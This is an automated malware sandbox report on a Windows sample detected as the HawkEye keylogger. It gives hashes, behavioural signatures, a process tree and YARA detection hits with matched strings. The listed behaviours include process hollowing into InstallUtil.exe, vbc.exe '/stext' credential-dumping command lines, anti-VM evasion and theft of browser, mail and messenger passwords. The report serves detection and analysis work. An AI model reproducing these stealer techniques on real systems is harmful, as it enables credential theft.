Play interactive tour

Edit tour

Windows Analysis Report FukQGQj7cl

Overview

General Information

Sample Name:	FukQGQj7cl (renamed file extension from none to exe)
Analysis ID:	462697
MD5:	83f58ecf0778e3b0acca8497df23ef23
SHA1:	a2123e816fcd387873272e022220fbc05b96d392
SHA256:	437fae5aa2cad8ddb1fe3e316afdc6a1fdd2676084131fdc082ffdc8a53f066d
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

HawkEye MailPassView

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected HawkEye Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected HawkEye Keylogger

Yara detected MailPassView

.NET source code contains very large array initializations

Changes the view of files in windows explorer (hidden files and folders)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sample uses process hollowing technique

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Writes to foreign memory regions

Yara detected WebBrowserPassView password recovery tool

AV process strings found (often used to terminate AV products)

Antivirus or Machine Learning detection for unpacked file

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

FukQGQj7cl.exe (PID: 4792 cmdline: 'C:\Users\user\Desktop\FukQGQj7cl.exe' MD5: 83F58ECF0778E3B0ACCA8497DF23EF23)

InstallUtil.exe (PID: 6284 cmdline: C:\Users\user\AppData\Local\Temp\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

vbc.exe (PID: 6860 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt' MD5: C63ED21D5706A527419C9FBD730FFB2E)

vbc.exe (PID: 6852 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt' MD5: C63ED21D5706A527419C9FBD730FFB2E)

cleanup

Malware Configuration

Threatname: HawkEye

{"Modules": ["WebBrowserPassView"], "Version": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7ba5a:$key: HawkEyeKeylogger 0xfdd18:$key: HawkEyeKeylogger 0x7dc58:$salt: 099u787978786 0xfff16:$salt: 099u787978786 0x7c073:$string1: HawkEye_Keylogger 0x7cec6:$string1: HawkEye_Keylogger 0x7dbb8:$string1: HawkEye_Keylogger 0xfe331:$string1: HawkEye_Keylogger 0xff184:$string1: HawkEye_Keylogger 0xffe76:$string1: HawkEye_Keylogger 0x7c45c:$string2: holdermail.txt 0x7c47c:$string2: holdermail.txt 0xfe71a:$string2: holdermail.txt 0xfe73a:$string2: holdermail.txt 0x7c39e:$string3: wallet.dat 0x7c3b6:$string3: wallet.dat 0x7c3cc:$string3: wallet.dat 0xfe65c:$string3: wallet.dat 0xfe674:$string3: wallet.dat 0xfe68a:$string3: wallet.dat 0x7d79a:$string4: Keylog Records
00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7c0cb:$hawkstr1: HawkEye Keylogger 0x7cf0c:$hawkstr1: HawkEye Keylogger 0x7d23b:$hawkstr1: HawkEye Keylogger 0x7d396:$hawkstr1: HawkEye Keylogger 0x7d4f9:$hawkstr1: HawkEye Keylogger 0x7d772:$hawkstr1: HawkEye Keylogger 0xfe389:$hawkstr1: HawkEye Keylogger 0xff1ca:$hawkstr1: HawkEye Keylogger 0xff4f9:$hawkstr1: HawkEye Keylogger 0xff654:$hawkstr1: HawkEye Keylogger 0xff7b7:$hawkstr1: HawkEye Keylogger 0xffa30:$hawkstr1: HawkEye Keylogger 0x7bc59:$hawkstr2: Dear HawkEye Customers! 0x7d28e:$hawkstr2: Dear HawkEye Customers! 0x7d3e5:$hawkstr2: Dear HawkEye Customers! 0x7d54c:$hawkstr2: Dear HawkEye Customers! 0xfdf17:$hawkstr2: Dear HawkEye Customers! 0xff54c:$hawkstr2: Dear HawkEye Customers! 0xff6a3:$hawkstr2: Dear HawkEye Customers! 0xff80a:$hawkstr2: Dear HawkEye Customers! 0x7bd7a:$hawkstr3: HawkEye Logger Details:
00000015.00000002.358708597.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0xfdf2a:$key: HawkEyeKeylogger 0x18020a:$key: HawkEyeKeylogger 0x2024da:$key: HawkEyeKeylogger 0x100128:$salt: 099u787978786 0x182408:$salt: 099u787978786 0x2046d8:$salt: 099u787978786 0xfe543:$string1: HawkEye_Keylogger 0xff396:$string1: HawkEye_Keylogger 0x100088:$string1: HawkEye_Keylogger 0x180823:$string1: HawkEye_Keylogger 0x181676:$string1: HawkEye_Keylogger 0x182368:$string1: HawkEye_Keylogger 0x202af3:$string1: HawkEye_Keylogger 0x203946:$string1: HawkEye_Keylogger 0x204638:$string1: HawkEye_Keylogger 0xfe92c:$string2: holdermail.txt 0xfe94c:$string2: holdermail.txt 0x180c0c:$string2: holdermail.txt 0x180c2c:$string2: holdermail.txt 0x202edc:$string2: holdermail.txt 0x202efc:$string2: holdermail.txt
00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0xfe59b:$hawkstr1: HawkEye Keylogger 0xff3dc:$hawkstr1: HawkEye Keylogger 0xff70b:$hawkstr1: HawkEye Keylogger 0xff866:$hawkstr1: HawkEye Keylogger 0xff9c9:$hawkstr1: HawkEye Keylogger 0xffc42:$hawkstr1: HawkEye Keylogger 0x18087b:$hawkstr1: HawkEye Keylogger 0x1816bc:$hawkstr1: HawkEye Keylogger 0x1819eb:$hawkstr1: HawkEye Keylogger 0x181b46:$hawkstr1: HawkEye Keylogger 0x181ca9:$hawkstr1: HawkEye Keylogger 0x181f22:$hawkstr1: HawkEye Keylogger 0x202b4b:$hawkstr1: HawkEye Keylogger 0x20398c:$hawkstr1: HawkEye Keylogger 0x203cbb:$hawkstr1: HawkEye Keylogger 0x203e16:$hawkstr1: HawkEye Keylogger 0x203f79:$hawkstr1: HawkEye Keylogger 0x2041f2:$hawkstr1: HawkEye Keylogger 0xfe129:$hawkstr2: Dear HawkEye Customers! 0xff75e:$hawkstr2: Dear HawkEye Customers! 0xff8b5:$hawkstr2: Dear HawkEye Customers!
00000010.00000002.501178621.00000000084C0000.00000004.00000001.sdmp	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7c3b8:$key: HawkEyeKeylogger 0x7e5b6:$salt: 099u787978786 0x7c9d1:$string1: HawkEye_Keylogger 0x7d824:$string1: HawkEye_Keylogger 0x7e516:$string1: HawkEye_Keylogger 0x7cdba:$string2: holdermail.txt 0x7cdda:$string2: holdermail.txt 0x7ccfc:$string3: wallet.dat 0x7cd14:$string3: wallet.dat 0x7cd2a:$string3: wallet.dat 0x7e0f8:$string4: Keylog Records 0x7e410:$string4: Keylog Records 0x7e60e:$string5: do not script --> 0x7c3a0:$string6: \pidloc.txt 0x7c406:$string7: BSPLIT 0x7c416:$string7: BSPLIT
00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7ca29:$hawkstr1: HawkEye Keylogger 0x7d86a:$hawkstr1: HawkEye Keylogger 0x7db99:$hawkstr1: HawkEye Keylogger 0x7dcf4:$hawkstr1: HawkEye Keylogger 0x7de57:$hawkstr1: HawkEye Keylogger 0x7e0d0:$hawkstr1: HawkEye Keylogger 0x7c5b7:$hawkstr2: Dear HawkEye Customers! 0x7dbec:$hawkstr2: Dear HawkEye Customers! 0x7dd43:$hawkstr2: Dear HawkEye Customers! 0x7deaa:$hawkstr2: Dear HawkEye Customers! 0x7c6d8:$hawkstr3: HawkEye Logger Details:
00000010.00000002.501112721.0000000008460000.00000004.00000001.sdmp	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b6c0:$key: HawkEyeKeylogger 0x7d8be:$salt: 099u787978786 0x7bcd9:$string1: HawkEye_Keylogger 0x7cb2c:$string1: HawkEye_Keylogger 0x7d81e:$string1: HawkEye_Keylogger 0x7c0c2:$string2: holdermail.txt 0x7c0e2:$string2: holdermail.txt 0x7c004:$string3: wallet.dat 0x7c01c:$string3: wallet.dat 0x7c032:$string3: wallet.dat 0x7d400:$string4: Keylog Records 0x7d718:$string4: Keylog Records 0x7d916:$string5: do not script --> 0x7b6a8:$string6: \pidloc.txt 0x7b70e:$string7: BSPLIT 0x7b71e:$string7: BSPLIT
00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bd31:$hawkstr1: HawkEye Keylogger 0x7cb72:$hawkstr1: HawkEye Keylogger 0x7cea1:$hawkstr1: HawkEye Keylogger 0x7cffc:$hawkstr1: HawkEye Keylogger 0x7d15f:$hawkstr1: HawkEye Keylogger 0x7d3d8:$hawkstr1: HawkEye Keylogger 0x7b8bf:$hawkstr2: Dear HawkEye Customers! 0x7cef4:$hawkstr2: Dear HawkEye Customers! 0x7d04b:$hawkstr2: Dear HawkEye Customers! 0x7d1b2:$hawkstr2: Dear HawkEye Customers! 0x7b9e0:$hawkstr3: HawkEye Logger Details:
00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x384ac:$hawkstr1: HawkEye Keylogger 0x3b094:$hawkstr1: HawkEye Keylogger 0x3b414:$hawkstr1: HawkEye Keylogger 0x3d7c8:$hawkstr1: HawkEye Keylogger 0x68444:$hawkstr1: HawkEye Keylogger 0x37f64:$hawkstr2: Dear HawkEye Customers! 0x3b0f4:$hawkstr2: Dear HawkEye Customers! 0x3b474:$hawkstr2: Dear HawkEye Customers! 0x684a0:$hawkstr2: Dear HawkEye Customers! 0x38092:$hawkstr3: HawkEye Logger Details:
Process Memory Space: FukQGQj7cl.exe PID: 4792	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: FukQGQj7cl.exe PID: 4792	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: FukQGQj7cl.exe PID: 4792	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: FukQGQj7cl.exe PID: 4792	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: InstallUtil.exe PID: 6284	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: InstallUtil.exe PID: 6284	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 6284	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: vbc.exe PID: 6860	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.InstallUtil.exe.8460000.11.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
21.2.vbc.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.4089930.8.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.4acafa7.10.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.478476a.4.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.409c0d.3.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.48c2477.7.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.472e905.5.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.4089930.8.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.4089930.8.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.84c0000.12.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
22.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.45fa72.1.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x1dc4e:$key: HawkEyeKeylogger 0x1fe4c:$salt: 099u787978786 0x1e267:$string1: HawkEye_Keylogger 0x1f0ba:$string1: HawkEye_Keylogger 0x1fdac:$string1: HawkEye_Keylogger 0x1e650:$string2: holdermail.txt 0x1e670:$string2: holdermail.txt 0x1e592:$string3: wallet.dat 0x1e5aa:$string3: wallet.dat 0x1e5c0:$string3: wallet.dat 0x1f98e:$string4: Keylog Records 0x1fca6:$string4: Keylog Records 0x1fea4:$string5: do not script --> 0x1dc36:$string6: \pidloc.txt 0x1dc9c:$string7: BSPLIT 0x1dcac:$string7: BSPLIT
16.2.InstallUtil.exe.45fa72.1.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.45fa72.1.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
16.2.InstallUtil.exe.45fa72.1.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x1e2bf:$hawkstr1: HawkEye Keylogger 0x1f100:$hawkstr1: HawkEye Keylogger 0x1f42f:$hawkstr1: HawkEye Keylogger 0x1f58a:$hawkstr1: HawkEye Keylogger 0x1f6ed:$hawkstr1: HawkEye Keylogger 0x1f966:$hawkstr1: HawkEye Keylogger 0x1de4d:$hawkstr2: Dear HawkEye Customers! 0x1f482:$hawkstr2: Dear HawkEye Customers! 0x1f5d9:$hawkstr2: Dear HawkEye Customers! 0x1f740:$hawkstr2: Dear HawkEye Customers! 0x1df6e:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.45fa72.1.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.408208.2.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x754b8:$key: HawkEyeKeylogger 0x776b6:$salt: 099u787978786 0x75ad1:$string1: HawkEye_Keylogger 0x76924:$string1: HawkEye_Keylogger 0x77616:$string1: HawkEye_Keylogger 0x75eba:$string2: holdermail.txt 0x75eda:$string2: holdermail.txt 0x75dfc:$string3: wallet.dat 0x75e14:$string3: wallet.dat 0x75e2a:$string3: wallet.dat 0x771f8:$string4: Keylog Records 0x77510:$string4: Keylog Records 0x7770e:$string5: do not script --> 0x754a0:$string6: \pidloc.txt 0x75506:$string7: BSPLIT 0x75516:$string7: BSPLIT
16.2.InstallUtil.exe.408208.2.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
16.2.InstallUtil.exe.408208.2.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.408208.2.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
16.2.InstallUtil.exe.408208.2.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.408208.2.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b29:$hawkstr1: HawkEye Keylogger 0x7696a:$hawkstr1: HawkEye Keylogger 0x76c99:$hawkstr1: HawkEye Keylogger 0x76df4:$hawkstr1: HawkEye Keylogger 0x76f57:$hawkstr1: HawkEye Keylogger 0x771d0:$hawkstr1: HawkEye Keylogger 0x756b7:$hawkstr2: Dear HawkEye Customers! 0x76cec:$hawkstr2: Dear HawkEye Customers! 0x76e43:$hawkstr2: Dear HawkEye Customers! 0x76faa:$hawkstr2: Dear HawkEye Customers! 0x757d8:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.40a1b50.7.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x79ac0:$key: HawkEyeKeylogger 0x7bcbe:$salt: 099u787978786 0x7a0d9:$string1: HawkEye_Keylogger 0x7af2c:$string1: HawkEye_Keylogger 0x7bc1e:$string1: HawkEye_Keylogger 0x7a4c2:$string2: holdermail.txt 0x7a4e2:$string2: holdermail.txt 0x7a404:$string3: wallet.dat 0x7a41c:$string3: wallet.dat 0x7a432:$string3: wallet.dat 0x7b800:$string4: Keylog Records 0x7bb18:$string4: Keylog Records 0x7bd16:$string5: do not script --> 0x79aa8:$string6: \pidloc.txt 0x79b0e:$string7: BSPLIT 0x79b1e:$string7: BSPLIT
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x5623:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7a131:$hawkstr1: HawkEye Keylogger 0x7af72:$hawkstr1: HawkEye Keylogger 0x7b2a1:$hawkstr1: HawkEye Keylogger 0x7b3fc:$hawkstr1: HawkEye Keylogger 0x7b55f:$hawkstr1: HawkEye Keylogger 0x7b7d8:$hawkstr1: HawkEye Keylogger 0x79cbf:$hawkstr2: Dear HawkEye Customers! 0x7b2f4:$hawkstr2: Dear HawkEye Customers! 0x7b44b:$hawkstr2: Dear HawkEye Customers! 0x7b5b2:$hawkstr2: Dear HawkEye Customers! 0x79de0:$hawkstr3: HawkEye Logger Details:
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b8c0:$key: HawkEyeKeylogger 0xfdb7e:$key: HawkEyeKeylogger 0x7dabe:$salt: 099u787978786 0xffd7c:$salt: 099u787978786 0x7bed9:$string1: HawkEye_Keylogger 0x7cd2c:$string1: HawkEye_Keylogger 0x7da1e:$string1: HawkEye_Keylogger 0xfe197:$string1: HawkEye_Keylogger 0xfefea:$string1: HawkEye_Keylogger 0xffcdc:$string1: HawkEye_Keylogger 0x7c2c2:$string2: holdermail.txt 0x7c2e2:$string2: holdermail.txt 0xfe580:$string2: holdermail.txt 0xfe5a0:$string2: holdermail.txt 0x7c204:$string3: wallet.dat 0x7c21c:$string3: wallet.dat 0x7c232:$string3: wallet.dat 0xfe4c2:$string3: wallet.dat 0xfe4da:$string3: wallet.dat 0xfe4f0:$string3: wallet.dat 0x7d600:$string4: Keylog Records
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x896e1:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf31:$hawkstr1: HawkEye Keylogger 0x7cd72:$hawkstr1: HawkEye Keylogger 0x7d0a1:$hawkstr1: HawkEye Keylogger 0x7d1fc:$hawkstr1: HawkEye Keylogger 0x7d35f:$hawkstr1: HawkEye Keylogger 0x7d5d8:$hawkstr1: HawkEye Keylogger 0xfe1ef:$hawkstr1: HawkEye Keylogger 0xff030:$hawkstr1: HawkEye Keylogger 0xff35f:$hawkstr1: HawkEye Keylogger 0xff4ba:$hawkstr1: HawkEye Keylogger 0xff61d:$hawkstr1: HawkEye Keylogger 0xff896:$hawkstr1: HawkEye Keylogger 0x7babf:$hawkstr2: Dear HawkEye Customers! 0x7d0f4:$hawkstr2: Dear HawkEye Customers! 0x7d24b:$hawkstr2: Dear HawkEye Customers! 0x7d3b2:$hawkstr2: Dear HawkEye Customers! 0xfdd7d:$hawkstr2: Dear HawkEye Customers! 0xff3b2:$hawkstr2: Dear HawkEye Customers! 0xff509:$hawkstr2: Dear HawkEye Customers! 0xff670:$hawkstr2: Dear HawkEye Customers! 0x7bbe0:$hawkstr3: HawkEye Logger Details:
22.2.vbc.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73ab3:$key: HawkEyeKeylogger 0xf5d71:$key: HawkEyeKeylogger 0x75cb1:$salt: 099u787978786 0xf7f6f:$salt: 099u787978786 0x740cc:$string1: HawkEye_Keylogger 0x74f1f:$string1: HawkEye_Keylogger 0x75c11:$string1: HawkEye_Keylogger 0xf638a:$string1: HawkEye_Keylogger 0xf71dd:$string1: HawkEye_Keylogger 0xf7ecf:$string1: HawkEye_Keylogger 0x744b5:$string2: holdermail.txt 0x744d5:$string2: holdermail.txt 0xf6773:$string2: holdermail.txt 0xf6793:$string2: holdermail.txt 0x743f7:$string3: wallet.dat 0x7440f:$string3: wallet.dat 0x74425:$string3: wallet.dat 0xf66b5:$string3: wallet.dat 0xf66cd:$string3: wallet.dat 0xf66e3:$string3: wallet.dat 0x757f3:$string4: Keylog Records
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x818d4:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x74124:$hawkstr1: HawkEye Keylogger 0x74f65:$hawkstr1: HawkEye Keylogger 0x75294:$hawkstr1: HawkEye Keylogger 0x753ef:$hawkstr1: HawkEye Keylogger 0x75552:$hawkstr1: HawkEye Keylogger 0x757cb:$hawkstr1: HawkEye Keylogger 0xf63e2:$hawkstr1: HawkEye Keylogger 0xf7223:$hawkstr1: HawkEye Keylogger 0xf7552:$hawkstr1: HawkEye Keylogger 0xf76ad:$hawkstr1: HawkEye Keylogger 0xf7810:$hawkstr1: HawkEye Keylogger 0xf7a89:$hawkstr1: HawkEye Keylogger 0x73cb2:$hawkstr2: Dear HawkEye Customers! 0x752e7:$hawkstr2: Dear HawkEye Customers! 0x7543e:$hawkstr2: Dear HawkEye Customers! 0x755a5:$hawkstr2: Dear HawkEye Customers! 0xf5f70:$hawkstr2: Dear HawkEye Customers! 0xf75a5:$hawkstr2: Dear HawkEye Customers! 0xf76fc:$hawkstr2: Dear HawkEye Customers! 0xf7863:$hawkstr2: Dear HawkEye Customers! 0x73dd3:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.40a1b50.7.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
